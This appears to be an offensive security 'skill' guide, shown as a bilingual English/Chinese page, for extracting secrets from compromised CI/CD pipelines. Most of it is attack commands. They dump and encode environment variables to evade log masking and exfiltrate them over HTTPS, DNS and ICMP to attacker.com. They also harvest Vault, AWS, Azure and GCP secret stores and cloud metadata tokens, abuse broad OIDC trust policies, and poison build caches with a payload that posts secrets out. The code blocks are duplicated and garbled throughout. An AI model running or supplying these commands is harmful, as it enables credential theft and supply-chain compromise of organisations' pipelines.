offensive-cicd-secrets
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive CI/CD Secrets Extraction
攻击性 CI/CD 密钥提取
Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline
holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords,
database connection strings -- and the mechanisms protecting them are consistently weaker than
those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines
need credentials to deploy, but the environments executing pipelines are transient, shared, and
often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial
environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets
exist, determine which extraction technique applies, recover the credentials, and pivot to
expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004
(Private Keys), T1552.007 (Container API)
CI/CD 环境中的密钥是攻破 Pipeline 的首要目标。每条 Pipeline 都保存着凭据——部署密钥、云提供商 Token、API Secret、Registry 密码、数据库连接字符串——而保护这些凭据的机制始终弱于保护生产环境密钥的机制。你可以利用 CI/CD 设计中的根本矛盾:Pipeline 需要凭据才能执行部署,但执行 Pipeline 的环境是临时的、共享的,而且通常任何能够打开 Pull Request 的人都可以访问。
本 Skill 系统性地涵盖了各 CI/CD 平台的每一种提取路径,从简单的环境变量转储到复杂的 OIDC 联合滥用。你先枚举存在哪些密钥,再确定适用的提取技术,恢复凭据,并据此扩展访问权限。
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004
(Private Keys), T1552.007 (Container API)
Quick Workflow
快速工作流
- Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
- Enumerate the execution environment -- platform, runner type, available tools, network access.
- Dump all environment variables and filter for secrets patterns.
- Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
- Check for vault/secrets-manager integrations and test for misconfigurations.
- Examine build logs, caches, and artifacts for leaked credentials.
- Test OIDC federation trust if cloud provider integration is present.
- Validate recovered credentials and determine their scope.
- Pivot using recovered secrets to access additional systems, registries, and cloud resources.
- 在 CI/CD Pipeline 中获得代码执行能力(有关注入向量,请参阅 offensive-cicd-pipeline skill)。
- 枚举执行环境——平台、Runner 类型、可用工具和网络访问权限。
- 转储所有环境变量,并筛选符合密钥特征的模式。
- 使用可用 Token(GITHUB_TOKEN、CI_JOB_TOKEN、PAT)查询特定平台的凭据存储。
- 检查 Vault/Secrets Manager 集成并测试配置错误。
- 检查构建日志、缓存和 Artifact 中泄露的凭据。
- 如果存在云提供商集成,测试 OIDC 联合信任。
- 验证已恢复的凭据并确定其权限范围。
- 使用已恢复的密钥横向访问其他系统、Registry 和云资源。
Environment Variable Extraction
环境变量提取
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised
pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but
the masking is trivially bypassed.
每个 CI/CD 平台都会将密钥作为环境变量注入。攻破 Pipeline 后的首要动作,是全面转储环境变量。各平台会尝试在日志中遮蔽密钥值,但这种遮蔽很容易绕过。
Direct Extraction
直接提取
bash
undefinedbash
undefinedFull environment dump -- works on all platforms
Full environment dump -- works on all platforms
env | sort
env | sort
Base64 encode to bypass log masking
Base64 encode to bypass log masking
env | base64
env | base64
Reverse the string to defeat pattern-matching masks
Reverse the string to defeat pattern-matching masks
env | rev
env | rev
Character-by-character extraction defeats even advanced masking
Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
Hex encoding for binary-safe exfiltration
Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
undefinedenv | xxd -p | tr -d '\n'
undefinedTargeted Pattern Matching
针对性模式匹配
bash
undefinedbash
undefinedExtract high-value variables by naming convention
Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
Search for variables containing credential-shaped values
Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
Find secrets in process memory (if /proc is available)
Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
undefinedstrings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
undefinedExfiltration Channels
外泄通道
bash
undefinedbash
undefinedHTTPS POST exfiltration (most reliable)
HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
DNS exfiltration for restricted networks
DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
ICMP exfiltration when HTTP is blocked
ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
Write to pipeline artifact for later retrieval
Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
env | base64 > /tmp/build-metrics.dat
Then upload as artifact through the platform's mechanism
Then upload as artifact through the platform's mechanism
---
---Vault and Secrets Manager Misconfigurations
Vault 与 Secrets Manager 配置错误
CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how
pipelines authenticate to and retrieve secrets from these systems.
CI/CD Pipeline 通常会与 Secrets Manager 集成。你可以利用 Pipeline 在身份验证和检索这些系统中的密钥时存在的配置错误。
HashiCorp Vault
HashiCorp Vault
bash
undefinedbash
undefinedCheck if Vault environment is configured
Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
If VAULT_TOKEN is present, enumerate accessible secrets
If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
vault secrets list 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
List and read KV secrets
List and read KV secrets
vault kv list secret/ 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
vault kv list secret/ 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
Attempt to read common secret paths
Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
If AppRole credentials are available, authenticate
If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login"
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login"
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'
Check token capabilities -- often over-permissioned for CI
Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN"
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
undefinedcurl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN"
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
undefinedAWS Secrets Manager and Parameter Store
AWS Secrets Manager 与 Parameter Store
bash
undefinedbash
undefinedCheck for AWS credentials in the environment
Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
Check if running on EC2 with instance metadata
Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
List all secrets in Secrets Manager
List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
Extract secret values
Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' |
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' |
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done
SSM Parameter Store -- often contains credentials with weak IAM boundaries
SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
undefinedaws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
undefinedAzure Key Vault
Azure Key Vault
bash
undefinedbash
undefinedCheck for Azure managed identity
Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
2>/dev/null | jq '.access_token'
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
2>/dev/null | jq '.access_token'
curl -sS -m 2 -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
2>/dev/null | jq '.access_token'
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
2>/dev/null | jq '.access_token'
List Key Vaults accessible to the current identity
List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
Extract all secrets from a vault
Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv |
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv |
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done
Extract certificates and keys
Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
undefinedaz keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
undefinedGCP Secret Manager
GCP Secret Manager
bash
undefinedbash
undefinedCheck for GCP credentials
Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
Use metadata server for default credentials
Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google"
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
curl -sS -H "Metadata-Flavor: Google"
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
List all secrets in the project
List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'
gcloud secrets list --format='table(name, replication.automatic)'
Extract secret values
Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
done
---gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
done
---OIDC Federation Attacks
OIDC 联合攻击
OIDC federation allows CI/CD pipelines to authenticate to cloud providers without storing long-lived
credentials. You exploit trust misconfigurations in the federation setup to assume roles from
unauthorized contexts.
OIDC 联合允许 CI/CD Pipeline 在不存储长期凭据的情况下向云提供商进行身份验证。你可以利用联合配置中的信任错误,从未授权上下文承担角色。
GitHub Actions OIDC
GitHub Actions OIDC
yaml
undefinedyaml
undefinedGitHub Actions requests an OIDC token from the GitHub token endpoint
GitHub Actions requests an OIDC token from the GitHub token endpoint
The token contains claims about the workflow context
The token contains claims about the workflow context
steps:
-
name: Extract OIDC token and examine claims run: |
Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'The claims include:
sub: repo:org/repo:ref:refs/heads/main
repository: org/repo
ref: refs/heads/main
If the AWS role trust policy is overly permissive (e.g., trusts any ref
or any repo in the org), you can assume it from a fork or feature branch
Attack scenario -- overly broad trust policy:
```json
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}bash
undefinedsteps:
-
name: Extract OIDC token and examine claims run: |
Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'The claims include:
sub: repo:org/repo:ref:refs/heads/main
repository: org/repo
ref: refs/heads/main
If the AWS role trust policy is overly permissive (e.g., trusts any ref
or any repo in the org), you can assume it from a fork or feature branch
攻击场景——过于宽泛的信任策略:
```json
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}bash
undefinedThis trust policy accepts ANY repository in the org
This trust policy accepts ANY repository in the org
If you can create a repo in the org or find any repo with Actions write access,
If you can create a repo in the org or find any repo with Actions write access,
you can assume this role
you can assume this role
From your controlled workflow in any org repo:
From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
undefinedaws sts assume-role-with-web-identity
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
undefinedGitLab CI OIDC
GitLab CI OIDC
yaml
undefinedyaml
undefinedGitLab CI can also issue OIDC tokens
GitLab CI can also issue OIDC tokens
extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.com
---extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.com
---Build Log and Cache Exploitation
构建日志与缓存利用
Build logs and caches frequently contain credentials leaked through careless scripting, verbose
output modes, or debug configurations.
构建日志和缓存经常包含由粗心脚本、详细输出模式或调试配置导致的凭据泄露。
Log Analysis
日志分析
bash
undefinedbash
undefinedGitHub Actions: Retrieve workflow run logs via API
GitHub Actions: Retrieve workflow run logs via API
Requires a token with actions:read scope
Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done
Search extracted logs for leaked secrets
Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s][=:][\s]\S+' logs_/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
grep -rihE '(password|secret|token|key|credential)[\s][=:][\s]\S+' logs_/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
Jenkins: Build console output often contains unmasked secrets
Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN"
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
undefinedcurl -sS -u "user:$JENKINS_TOKEN"
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
undefinedCache Poisoning for Exfiltration
用于外泄的缓存投毒
yaml
undefinedyaml
undefinedGitHub Actions: Poison the build cache to exfiltrate secrets on next run
GitHub Actions: Poison the build cache to exfiltrate secrets on next run
First run: inject exfiltration script into cached dependencies
First run: inject exfiltration script into cached dependencies
steps:
-
uses: actions/cache@v4 with: path: ~/.npm key: npm-cache-${{ hashFiles('package-lock.json') }}
-
run: |
Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD' #!/bin/bash env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil & PAYLOAD chmod +x ~/.npm/_preinstall/exfil.shModify a cached package's install script to trigger it
GitLab CI shared caches work similarly -- inject a payload into `node_modules/` with `cache: policy: push`, and the deploy job pulling the same cache key executes it.
---steps:
-
uses: actions/cache@v4 with: path: ~/.npm key: npm-cache-${{ hashFiles('package-lock.json') }}
-
run: |
Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD' #!/bin/bash env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil & PAYLOAD chmod +x ~/.npm/_preinstall/exfil.shModify a cached package's install script to trigger it
GitLab CI 共享缓存的工作方式与之类似——使用 `cache: policy: push` 将 Payload 注入 `node_modules/`,随后拉取同一 cache key 的部署 Job 就会执行它。
---Platform-Specific Credential Stores
平台特定的凭据存储
Each CI/CD platform has its own credential storage mechanism with distinct extraction techniques.
每个 CI/CD 平台都有自己独特的凭据存储机制,并对应不同的提取技术。
GitHub Actions Secrets
GitHub Actions Secrets
bash
undefinedbash
undefinedGitHub Actions secrets are injected as environment variables
GitHub Actions secrets are injected as environment variables
They are masked in logs but accessible programmatically
They are masked in logs but accessible programmatically
List all secrets available to the workflow (names only, via API)
List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
Organization-level secrets
Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
Repository environment secrets
Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done
Values require code execution in the pipeline context -- use env dump techniques above
Values require code execution in the pipeline context -- use env dump techniques above
